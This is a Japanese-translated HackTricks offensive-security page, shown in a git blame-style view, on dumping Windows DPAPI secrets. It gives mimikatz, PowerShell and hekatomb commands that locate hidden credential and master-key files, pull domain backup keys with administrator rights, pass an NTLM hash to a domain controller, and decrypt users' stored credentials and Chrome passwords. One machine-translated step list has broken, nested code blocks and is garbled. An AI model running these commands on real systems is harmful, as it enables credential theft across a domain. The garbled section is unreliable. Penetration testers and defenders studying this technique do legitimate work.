hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md

209 lines
17 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# DPAPI - パスワードの抽出
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2023-07-07 23:42:27 +00:00
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2023-07-07 23:42:27 +00:00
この投稿を作成する際、mimikatzはDPAPIとの対話を伴うすべてのアクションで問題が発生していました。そのため、**ほとんどの例と画像は**こちらから取得しました:[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
2023-07-07 23:42:27 +00:00
## DPAPIとは
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
Windowsオペレーティングシステムでの主な使用目的は、非対称な秘密鍵の対称暗号化を実行するために、ユーザーまたはシステムの秘密をエントロピーの重要な要素として使用することです。\
**DPAPIを使用すると、開発者はユーザーのログオンシークレットから派生した対称鍵を使用してキーを暗号化**することができます。また、システムの暗号化の場合は、システムのドメイン認証シークレットを使用します。
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
これにより、開発者は**暗号化キーを保護する方法を心配することなく**、コンピュータに**暗号化されたデータを保存**することが非常に簡単になります。
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
### DPAPIは何を保護するのか
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
DPAPIは、次の個人データを保護するために使用されます
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
* Internet Explorer、Google \*Chromeのパスワードとフォームの自動入力データ
* Outlook、Windows Mail、Windows Mailなどのメールアカウントのパスワード
* 内部FTPマネージャーアカウントのパスワード
* 共有フォルダとリソースへのアクセスパスワード
* ワイヤレスネットワークアカウントのキーとパスワード
* Windows CardSpaceとWindows Vaultの暗号化キー
* リモートデスクトップ接続のパスワード、.NET Passport
* 暗号化ファイルシステムEFS、メールS-MIMEの暗号化、他のユーザーの証明書、Internet Information ServicesのSSL/TLSのプライベートキー
* EAP/TLSおよび802.1xVPNおよびWiFi認証
* 資格情報マネージャーのネットワークパスワード
* API関数CryptProtectDataでプログラム的に保護された任意のアプリケーションの個人データ。たとえば、Skype、Windows Rights Management Services、Windows Media、MSNメッセンジャー、Google Talkなど。
* ...
2020-09-01 20:17:55 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
DPAPIを使用してデータを保護するための成功した賢い方法の例は、Internet Explorerの自動入力パスワード暗号化アルゴリズムの実装です。特定のWebページのログインとパスワードを暗号化するために、CryptProtectData関数を呼び出し、オプションのエントロピーパラメータにはWebページのアドレスを指定します。したがって、パスワードが入力された元のURLを知らない限り、Internet Explorer自体も含めて、そのデータを復号化することはできません。
{% endhint %}
2023-07-07 23:42:27 +00:00
## リストVault
2022-08-14 15:38:08 +00:00
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
2023-07-07 23:42:27 +00:00
## 資格情報ファイル
2022-08-14 15:38:08 +00:00
2023-07-07 23:42:27 +00:00
**マスターパスワードで保護された資格情報ファイル**は、次の場所に存在する可能性があります:
2022-08-14 15:38:08 +00:00
```
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
2023-07-07 23:42:27 +00:00
以下は、mimikatzの`dpapi::cred`を使用して資格情報の情報を取得する方法です。レスポンスには、暗号化されたデータとguidMasterKeyなどの興味深い情報が含まれています。
2022-08-14 15:38:08 +00:00
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
```
2023-07-07 23:42:27 +00:00
適切な `/masterkey` を使用して、**mimikatzモジュール** `dpapi::cred` を使用して復号化できます:
2022-08-14 15:38:08 +00:00
```
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
```
2023-07-07 23:42:27 +00:00
## マスターキー
2022-08-14 15:38:08 +00:00
2023-07-07 23:42:27 +00:00
ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに格納されます。ここで、{SID}はそのユーザーの[**セキュリティ識別子**](https://en.wikipedia.org/wiki/Security\_Identifier)です。**DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに格納されます**。通常、これは64バイトのランダムデータです。このディレクトリは保護されているため、`cmd`から`dir`を使用してリストすることはできませんが、PSからはリストすることができます
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
2023-07-07 23:42:27 +00:00
ユーザーのマスターキーの一部は次のようになります:
2022-12-24 12:04:26 +00:00
![](<../../.gitbook/assets/image (324).png>)
2023-07-07 23:42:27 +00:00
通常、**各マスターキーは他のコンテンツを復号化できる暗号化された対称キー**です。したがって、**他のコンテンツ**を復号化するために後で使用するために、**暗号化されたマスターキー**を**抽出する**ことは興味深いです。
2023-07-07 23:42:27 +00:00
### マスターキーの抽出と復号化
2023-07-07 23:42:27 +00:00
前のセクションで、`3e90dd9e-f901-40a1-b691-84d7f647b8fe`のように見えるguidMasterKeyを見つけました。このファイルは以下にあります
```
2022-08-14 15:38:08 +00:00
C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>
```
2023-07-07 23:42:27 +00:00
以下の場所で、mimikatzを使用してマスターキーを抽出することができます:
2022-08-14 15:38:08 +00:00
2023-07-07 23:42:27 +00:00
```plaintext
1. ローカルマシンのメモリからマスターキーを抽出するために、mimikatzのsekurlsaモジュールを使用します。
2022-08-14 15:38:08 +00:00
2023-07-07 23:42:27 +00:00
2. mimikatzを実行し、コマンドプロンプトで以下のコマンドを入力します:
```
sekurlsa::dpapi
```
3. マスターキーを抽出するために、以下のコマンドを入力します:
```
dpapi::masterkey
```
4. マスターキーが抽出されると、その値を使用してデータを復号化することができます。
```
```
注意: この手法は管理者権限が必要です。また、Windowsのバージョンやセキュリティ設定によっては、マスターキーの抽出が制限される場合があります。
2022-09-03 23:59:35 +00:00
```bash
# If you know the users password
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
# If you don't have the users password and inside an AD
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
```
2023-07-07 23:42:27 +00:00
ファイルのマスターキーは出力に表示されます。
2022-08-14 15:38:08 +00:00
2023-07-07 23:42:27 +00:00
最後に、その**マスターキー**を使用して**資格情報ファイル**を**復号化**できます:
2022-08-14 15:38:08 +00:00
```
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
```
2023-07-07 23:42:27 +00:00
### 管理者権限でローカルのマスターキーを抽出する
2023-07-07 23:42:27 +00:00
管理者権限を持っている場合、以下の手順でdpapiのマスターキーを取得することができます。
```
sekurlsa::dpapi
```
2022-12-24 12:04:26 +00:00
![](<../../.gitbook/assets/image (326).png>)
2023-07-07 23:42:27 +00:00
### ドメイン管理者によるすべてのバックアップマスターキーの抽出
2020-09-01 20:17:55 +00:00
2023-07-07 23:42:27 +00:00
ドメイン管理者は、暗号化されたキーを復号化するために使用できるバックアップdpapiマスターキーを取得することができます。
```
lsadump::backupkeys /system:dc01.offense.local /export
```
![](<../../.gitbook/assets/image (327).png>)
2023-07-07 23:42:27 +00:00
取得したバックアップキーを使用して、ユーザーの `spotless` マスターキーを復号化しましょう:
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
2020-09-01 20:17:55 +00:00
```
2023-07-07 23:42:27 +00:00
ユーザーの`spotless` chromeの秘密を、復号化されたマスターキーを使用して復号化することができます。
```
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
```
2022-12-24 12:04:26 +00:00
![](<../../.gitbook/assets/image (329).png>)
2023-07-07 23:42:27 +00:00
## コンテンツの暗号化と復号化
2023-07-07 23:42:27 +00:00
DAPIを使用してデータを暗号化および復号化する方法の例については、mimikatzとC++を使用した[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)を参照してください。\
C#を使用してDPAPIを使用してデータを暗号化および復号化する方法の例については、[https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)を参照してください。
2022-10-03 22:09:31 +00:00
## SharpDPAPI
2023-07-07 23:42:27 +00:00
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)は、[@gentilkiwi](https://twitter.com/gentilkiwi)の[Mimikatz](https://github.com/gentilkiwi/mimikatz/)プロジェクトからの一部のDPAPI機能をC#に移植したものです。
2022-10-03 22:09:31 +00:00
## HEKATOMB
2023-07-07 23:42:27 +00:00
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)は、LDAPディレクトリからすべてのユーザーとコンピュータを抽出し、RPCを介してドメインコントローラのバックアップキーを抽出するツールです。その後、スクリプトはすべてのコンピュータのIPアドレスを解決し、すべてのユーザーのDPAPIブロブを取得し、ドメインバックアップキーですべてを復号化します。
2022-09-30 10:27:15 +00:00
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
2023-07-07 23:42:27 +00:00
LDAPのコンピュータリストから抽出した場合、知らなくてもすべてのサブネットを見つけることができます
2023-07-07 23:42:27 +00:00
"Domain Admin権限だけでは十分ではありません。すべてをハックしましょう。"
2022-08-14 15:38:08 +00:00
## DonPAPI
2021-11-07 12:15:02 +00:00
2023-07-07 23:42:27 +00:00
[**DonPAPI**](https://github.com/login-securite/DonPAPI)は、DPAPIで保護されたシークレットを自動的にダンプすることができます。
2021-11-07 12:15:02 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
* [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13)
* [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2023-07-07 23:42:27 +00:00
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>